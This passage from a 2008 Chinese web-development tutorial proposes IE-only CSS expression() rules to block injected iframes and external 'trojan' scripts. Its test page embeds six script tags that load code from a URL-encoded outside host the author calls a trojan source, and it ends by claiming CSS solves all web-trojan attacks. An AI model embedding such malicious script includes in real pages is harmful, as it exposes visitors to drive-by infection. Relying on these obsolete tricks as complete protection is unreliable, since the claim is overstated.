解决方案3:
iframe{ni3fm:expression(this.src='about:blank',this.outerHTML='');} script{n3ojs:expression((this.src.toLowerCase().indexOf('http')==0)?document.execCommand('stop'):'');}
原理:同到外域的JS文件,立即调用IE私有的execCommand方法来停止页面所有请求,所以接下来的外域JS文件也被强制停止下载了。就像我们点了浏览器的“停止”按钮一样。看来这是JS模拟IE停止按钮的一种方法。
解决方案4:
iframe{nif4m:expression(this.src='about:blank',this.outerHTML='');} script{noj4s:expression(if(this.src.indexOf('http')==0)this.src='res://ieframe.dll/dnserror.htm');}
原理:将外域的JS文件的src重写成本地IE404错误页面的地址,这样,外域的JS代码不会下载。
解决方案5:
iframe{nifm5:expression(this.src='about:blank',this.outerHTML='');} script{noj5s:expression((this.id.toLowerCase().indexOf('vok')!=-1)?document.write('木马被成功隔离!'):''));}
第五种方案的页面HTML源代码<script>中要加入以"lh"为前缀的id,如lhWeatherJSapi,<script src="***/**.js" id="lhSearchJSapi"></script>
以下页面代码里含有一个木马地址,而且木马在页面里重复了6次,大家分别用我上面的不同方案测试一下,看看我的研究如何!(此测试有一定的危险性,请务必打好所有补丁再测试)
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>让JS木马的进程迅速中止的CSS代码</title> <style type="text/css" id="LinrStudio"> /*<![CDATA[*/ iframe{nhk1:expression(this.src='about:blank',this.outerHTML='');} script{ngz1:expression((this.src.indexOf('http')==0)?document.close():'');} /* 以后请在此关注最新木马处理方法:http://www.nihaoku.cn/ff/api.htm */ /*]]>*/ </style> </head> <body> <script type="text/javascript" src="1.js"></script> <script src=http://%76%63%63%64%2E%63%6E></script> <script src="http://%76%63%63%64%2E%63%6E" type="text/javascript"></script> <script src=http://%76%63%63%64%2E%63%6E></script> 我是页面本身的1 <script src=http://%76%63%63%64%2E%63%6E></script> 我是页面本身的2 <script src=http://%76%63%63%64%2E%63%6E></script> 我是页面本身的3 <script src=http://%76%63%63%64%2E%63%6E></script> </body> </html>
其中1.js是自己本站的:
document.write("我是本站的JS文件"); document.write("<img src='http://www.baidu.com/images/logo.gif' />");
我的测试环境是:
Windows XP SP2 和windows Vista SP1 IE6/IE7/IE8 已全部打好补丁。
综上所述,所有目前的挂马方式全都破解了,用CSS就可以解决所有木马问题,访客不会再轻易地中毒了。
大家也要仔细研究一下,看看我的代码有什么BUG,有的话一定要拿出来讨论,好解决问题!或是各位有其他更好的办法可以拿出来讨论一下。
经典论坛交流: http://bbs.blueidea.com/thread-2841460-1-1.html
本文链接:http://www.blueidea.com/tech/web/2008/5575.asp
出处:蓝色理想
责任编辑:bluehearts
上一页 二行代码解决全部网页木马 [1] 下一页
◎进入论坛网页制作、WEB标准化版块参加讨论,我还想发表评论。
|